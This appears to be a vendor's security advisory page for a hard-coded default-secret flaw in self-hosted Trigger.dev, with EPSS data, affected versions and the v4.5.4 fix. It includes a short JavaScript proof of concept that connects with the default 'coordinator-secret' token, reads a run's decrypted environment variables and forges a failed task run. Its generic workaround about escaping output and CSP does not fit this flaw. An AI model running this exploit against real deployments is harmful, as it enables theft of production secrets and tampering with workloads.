Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

Trigger.dev: V1 coordinator default-secret unauth Socket.IOGHSA-gg6r-gp4c-89hp

Fix: triggerdotdev/trigger.dev#4236

GHSA-gg6r-gp4c-89hp is a Hard-coded Credentials vulnerability in trigger.dev. A fix is available for trigger.dev — see the affected versions and patch details below.

Also known asCVE-2026-114088
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
trigger.devnpm
548Kdownloads / week

Description

TL;DR

The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.

Vulnerabilities

This attack is made possible by 3 vulnerabilities in Trigger.dev:

1. Hardcoded default authentication secret (CWE-798, Critical)

PROVIDER_SECRET and COORDINATOR_SECRET are declared with .default("provider-secret") / .default("coordinator-secret") in apps/webapp/app/env.server.ts:289-290. The values are present in the public source repo, neither var is documented in docs/self-hosting/env/*.mdx, hosting/docker/.env.example, or hosting/k8s/helm/values.yaml, and the auth check at packages/core/src/v3/zodNamespace.ts:148 is a plain string compare against that published value

2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)

READY_FOR_EXECUTION at apps/webapp/app/v3/handleSocketIo.server.ts:123 calls sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...), which at apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895 returns payload.environment as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only marqs/ code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below

3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)

TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. attempt_* friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id

Exploit chain / PoC

import { io } from "socket.io-client";

const sock = io("https://<self-hosted-target>/coordinator", {
  auth: { token: "coordinator-secret" },
  transports: ["websocket"],
});

sock.on("connect", () => {
  // exfil decrypted env for a known run id
  sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
    console.log(res.payload.environment);
    // { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
  });

  // mark any attempt failed
  sock.emit("TASK_RUN_FAILED_TO_RUN", {
    completion: {
      id: "<attempt_friendlyId>",
      ok: false,
      error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
    },
  });
});

Resolution

Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit 5ba8557a5 (#4236) — including the /coordinator, /provider, and /shared-queue Socket.IO namespaces, packages/core/src/v3/zodNamespace.ts, the marqs shared-queue consumer, and the PROVIDER_SECRET / COORDINATOR_SECRET environment variables.

All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the READY_FOR_EXECUTION env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.

Affected: self-hosted Trigger.dev < 4.5.4. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).

Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.

Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmtrigger.devall versions4.5.4npm install trigger.dev@4.5.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for trigger.dev, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update trigger.dev to 4.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gg6r-gp4c-89hp is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

## TL;DR The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find. ## Vulnerabilities This attack is made possible by 3 vulnerabilities in Trigger
O3 Security · Impact-Aware SCA

Is GHSA-gg6r-gp4c-89hp in your dependencies?

Find it across npm, including transitive dependencies.

Trigger.dev: V1 coordinator default-secret unauth Socket.IO